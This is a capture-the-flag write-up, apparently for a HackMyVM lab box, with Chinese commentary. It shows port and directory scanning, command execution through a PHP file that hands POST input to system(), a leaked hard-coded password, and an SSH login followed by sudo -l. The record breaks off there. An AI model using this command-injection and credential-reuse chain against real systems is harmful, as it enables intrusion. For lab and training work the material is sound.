kali@kali [~] ➜ sudo nmap -p- -sT --min-rate 1000 192.168.1.236 [21:13:15] [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-25 21:16 CST Nmap scan report for 192.168.1.236 Host is up (0.0022s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:1F:7F:13 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 10.83 seconds
80端口渗透
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
kali@kali [~] ➜ sudo dirsearch -u "http://192.168.1.236/" [21:26:06] /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
kali@kali [~] ➜ curl "http://192.168.1.236/secret.php?HackMyVM=id" [21:31:21] Now the main part what it is loooooool<br>Try other method
这里给了我们提示，让我们尝试另一种访问方式
1 2 3
kali@kali [~] ➜ curl -X POST "http://192.168.1.236/secret.php" -d 'HackMyVM=id' [21:35:04] You Found ME : - (<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data) </pre>
kali@kali [~] ➜ curl -X POST "http://192.168.1.236/secret.php" -d 'HackMyVM=cat secret.php' [21:36:25] You Found ME : - (<pre><?php if(isset($_GET['HackMyVM'])){ echo "Now the main part what it is loooooool"; echo "<br>"; echo "Try other method"; die; } if(isset($_POST['HackMyVM'])){ echo "You Found ME : - ("; echo "<pre>"; $cmd = ($_POST['HackMyVM']); system($cmd); echo "</pre>"; die; } else { header("Location: https://images-na.ssl-images-amazon.com/images/I/31YDo0l4ZrL._SX331_BO1,204,203,200_.jpg"); } $ok="prakasaka:th3-!llum!n@t0r"; ?> </pre>
那就直接登录呗，其实在我读这个文件前，我尝试了wget下载文件，但是失败了，原因是权限不够
1 2 3 4 5 6 7 8 9 10 11
kali@kali [~] ➜ curl -X POST "http://192.168.1.236/secret.php" -d 'HackMyVM=ls -la' [21:37:34] You Found ME : - (<pre>total 7264 drwxr-xr-x 2 root root 4096 Oct 23 2021 . drwxr-xr-x 3 root root 4096 Oct 23 2021 .. -rw-r--r-- 1 root root 5325119 May 6 2021 hacker.gif -rw-r--r-- 1 root root 344 Oct 23 2021 index.htm -rw-r--r-- 1 root root 3690 Oct 23 2021 index.html -rw-r--r-- 1 root root 23 Oct 23 2021 note.txt -rw-r--r-- 1 root root 2078389 Nov 30 2020 office.gif -rw-r--r-- 1 root root 471 Oct 23 2021 secret.php -rw-r--r-- 1 root root 285 Oct 23 2021 sitemap.xml
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Jan 25 07:59:42 2025 from 192.168.1.4 prakasaka@method:~$ ls uSeR.txt prakasaka@method:~$ whoami prakasaka prakasaka@method:~$ sudo -l Matching Defaults entries for prakasaka on method: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User prakasaka may run the following commands on method: (!root) NOPASSWD: /bin/bash (root) /bin/ip prakasaka@method:~$
